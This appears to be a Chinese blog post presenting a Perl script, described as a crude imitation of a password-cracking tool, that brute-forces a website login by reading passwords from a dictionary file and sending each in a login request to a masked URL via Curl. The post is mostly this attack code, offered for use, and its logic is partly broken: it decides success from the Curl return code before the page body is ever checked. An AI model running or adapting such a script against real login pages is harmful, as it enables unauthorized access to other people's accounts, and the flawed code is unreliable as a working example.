Perl打造溯雪拙劣仿制品

最新推荐文章于 2025-08-07 06:13:42 发布

scrub

最新推荐文章于 2025-08-07 06:13:42 发布

阅读量916

点赞数

CC 4.0 BY-SA版权

分类专栏： perl编程文章标签： perl callback url join file

本文链接：https://blog.youkuaiyun.com/scrub/article/details/177396

perl编程专栏收录该内容

11 篇文章

订阅专栏

该博客展示了一段Perl代码，用于尝试破解密码。代码从字典文件中读取密码，通过Curl库向特定URL发送请求，根据返回结果判断密码是否正确。若未找到正确密码则提示无剩余密码，找到则输出密码并祝贺。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

use Curl::easy;
$ok=1;
$username="shitusername";
#欲解用户名
open(DICT,"password.txt");
#字典档
while ($passwdtemp=<DICT> and $ok!=0) {
# if ($passwdtemp=<DICT>) {
# die "no password remain";
# $passwdtemp=<DICT>;

chomp($passwdtemp);
print "cracking password is $passwdtemp/n";
if (classme_crack_check($username,$passwdtemp)==0) {
print "finish/npassword is /n$passwdtemp";
$ok=0;
}
else {
$ok=1;
#$ok++;
#print $ok . "/n";
#}
}
}
if ($ok!=0) {
die "no password left!";
} else {
print "/nCongruatulations/n";
}

sub classme_crack_check{
my ($username,$password)=@_;
my $url = "<a href='http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default' target=_blank>http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default</a>";
#这个地方暂时隐去，看上面一行应该知道该怎么填

my $curl = Curl::easy->new();
$curl->setopt(CURLOPT_URL, $url);
#my $retcode=$curl->perform();
print $retcode;
sub body_callback {
my ($chunk,$context)=@_;
push @{$context}, $chunk;
return length($chunk); # OK
}

$curl->setopt(CURLOPT_WRITEFUNCTION, /&body_callback);
my @body;
$curl->setopt(CURLOPT_FILE, /@body);
my $retcode=$curl->perform();
if ($retcode!=0) {
return 1;
} else {
return 0;
}
#print $body;
# print join("",@body);
# print "/n/n";
$temp=$body[1];
($e,@body)=@body;
# print "begin/n";
#print $e;

#$e中存放curl的返回值
print "/n/n/n";
if ($e =~ /错误的用户名/ ) {
return 1;
} else {
return 0;
}
}